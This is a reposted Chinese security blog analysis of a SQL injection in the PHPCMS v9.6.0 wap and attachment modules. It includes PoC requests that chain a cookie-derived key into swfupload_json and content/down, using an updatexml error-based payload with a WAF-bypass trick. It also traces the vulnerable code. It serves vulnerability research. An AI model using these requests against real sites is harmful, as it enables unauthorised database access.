PHPCMSv9.6.0wap模块注入漏洞

admin 2022年6月7日12:09:49评论128 views字数 2112阅读7分2秒阅读模式


漏洞分析

/index.php?m=wap&c=index&a=init&siteid=1

抓包访问:

PHPCMSv9.6.0wap模块注入漏洞

返回问题存在 set-cookie 处:

Set-Cookie: AANIc_siteid=8bffvCApajhhybqfrjScJK7sD4rX8bqKNYf2UY3s


PoC:

[POST]/phpcms/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%2Content-Type:application/x-www-form-urlencodedContent-Length:53
Userid_flash=8bffvCApajhhybqfrjScJK7sD4rX8bqKNYf2UY3s


PHPCMSv9.6.0wap模块注入漏洞

获取JSON值:

AANIc_att_json=aae4yfABG8iXyZOoC15nQSCvLbvrIe6SiYzmtbrT7VMDqZgasHZP4oVPvkM9SRp7SQcFvJm6yYtItFexJVwyAnWObqzBGqfcM54PhUSNI-LzF0QEHhvyPn2N5PYtt3jt3D2eO-NItruB92Rh-xVKUQMrDAbAQmRwbdYnXtd_D0jJsPG1aQ


最后数据包:

POST/index.php?m=content&c=down&a_k=<_att_json值>
userid_flash=4a88UejXEgsHNyatdvQH_OdI4d4SIsXU_7_BRicF


SQL 报错注入:

PHPCMSv9.6.0wap模块注入漏洞



1.分析获取 set-cookie 问题:

wap 问题文件:phpcmsinstall_packagephpcmsmoduleswapindex.php

PHPCMSv9.6.0wap模块注入漏洞


PHPCMSv9.6.0wap模块注入漏洞

传入 waf 函数就是最后传入 set-cookie 中做了一个加密处理。



2.分析传入 json 值问题:

Swfupload_json 问题文件:

install_package/phpcms/modules/attachment/attachments.php

PHPCMSv9.6.0wap模块注入漏洞


传入的 set-cookie 值,跟踪查看一下 set_cookie 这块内容:

PHPCMSv9.6.0wap模块注入漏洞


大概的过程就是说,需要通过 set_cookie 的认证,才能进行下一步操作。

返回观察一下 poc:


/phpcms/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%2Content-Type:application/x-www-form-urlencoded


传入 aid 值,传入 src 值,传入 json 值,userid 的值传入是因为上述有段代码:

需要传入 userid 值进行判断是否登录。

PHPCMSv9.6.0wap模块注入漏洞


传入时的关键代码:

$this->userid = $_SESSION['userid'] ? $_SESSION['userid']: (param::get_cookie('_userid') ?param::get_cookie('_userid') :sys_auth($_POST['userid_flash'],'DECODE'));

$_SESSION 值当没法登录后台的时候拿不到,所以只能走 get_cookie 这个值的路,当也没有 get_cookie 的值的时候,就走下一个 userid_flash 的值,用 Post 传输方式。


3.分析注入问题:
最终问题文件:install_package/phpcms/modules/content/down.php
关键函数变量”$a_k”

PHPCMSv9.6.0wap模块注入漏洞


跟一下,sys_auth 看对 $a_k 做了什么处理:

大致理解了一下,主要是做 md5 和 base64 方式加解密处理,

PHPCMSv9.6.0wap模块注入漏洞


关键点:

$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));


传入的 url 经过解码变成了查询语句:

PHPCMSv9.6.0wap模块注入漏洞


再回到 init 中,摧毁 $i,$m,$f 变量后,进行了一个变量覆盖的操作。

有个特殊易造成变量覆盖函数 parse_str()

PHPCMSv9.6.0wap模块注入漏洞


传入的变量 $id 值分析如何报错:

PHPCMSv9.6.0wap模块注入漏洞


断点,进入后追踪:

跟数据库做交互:

PHPCMSv9.6.0wap模块注入漏洞


闭合:

PHPCMSv9.6.0wap模块注入漏洞


查询:

PHPCMSv9.6.0wap模块注入漏洞


绕 WAF:

Poc 中的 src 值其实是:

src=%*27 and updatexml(1,concat(1,(user())),1)#&m=1&f=haha&modelid=2&catid=7&

其实是为了绕 WAF 代码中的一些操作,用*号省略将%和27拼在一起最终做一个查询的操作。

PHPCMSv9.6.0wap模块注入漏洞




- End -

原文始发于微信公众号(NS Demon团队):PHPCMSv9.6.0wap模块注入漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月7日12:09:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHPCMSv9.6.0wap模块注入漏洞https://cn-sec.com/archives/1093339.html

发表评论

匿名网友 填写信息